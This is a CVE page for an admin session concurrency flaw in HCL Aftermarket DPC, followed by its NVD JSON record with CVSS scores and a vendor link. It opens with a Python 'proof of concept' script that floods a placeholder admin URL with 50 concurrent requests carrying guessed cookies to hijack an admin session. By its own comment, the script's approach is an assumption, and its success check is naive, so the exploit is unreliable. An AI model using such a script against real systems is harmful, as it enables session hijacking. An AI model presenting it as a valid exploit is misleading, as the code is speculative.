CVE-2025-55275

import requests import threading # Proof of Concept for CVE-2025-55275 # This script demonstrates a potential session hijack via concurrency. # Target: HCL Aftermarket DPC (Vulnerable Version) TARGET_URL = "https://target-dpc.example.com/admin" SESSION_COOKIE = "session_id_attacker" ADMIN_COOKIE_HINT = "session_id_admin" # Assumption based on vuln type def send_concurrent_request(thread_id): headers = { "Cookie": f"{SESSION_COOKIE}={thread_id}" } try: # Simulate sending multiple requests to trigger the race condition response = requests.get(TARGET_URL, headers=headers, timeout=5) if response.status_code == 200 and "admin" in response.text: print(f"[+] Thread {thread_id}: Potential Admin Access Gained!") except Exception as e: print(f"[-] Thread {thread_id}: Error {e}") if __name__ == "__main__": print("[*] Starting Concurrent Session Attack...") threads = [] for i in range(50): t = threading.Thread(target=send_concurrent_request, args=(i,)) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack finished.")

{"cve": {"id": "CVE-2025-55275", "sourceIdentifier": "[email protected]", "published": "2026-03-26T13:16:27.187", "lastModified": "2026-03-26T20:25:24.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Aftermarket DPC is affected by Admin Session Concurrency vulnerability using which an attacker can exploit concurrent sessions to hijack or impersonate an admin user."}, {"lang": "es", "value": "HCL Aftermarket DPC está afectado por una vulnerabilidad de concurrencia de sesiones de administrador, mediante la cual un atacante puede explotar sesiones concurrentes para secuestrar o suplantar a un usuario administrador."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-557"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aftermarket_cloud:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "C71E5E64-ED4C-4763-8A74-5F9DDCFD13DA"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129793", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}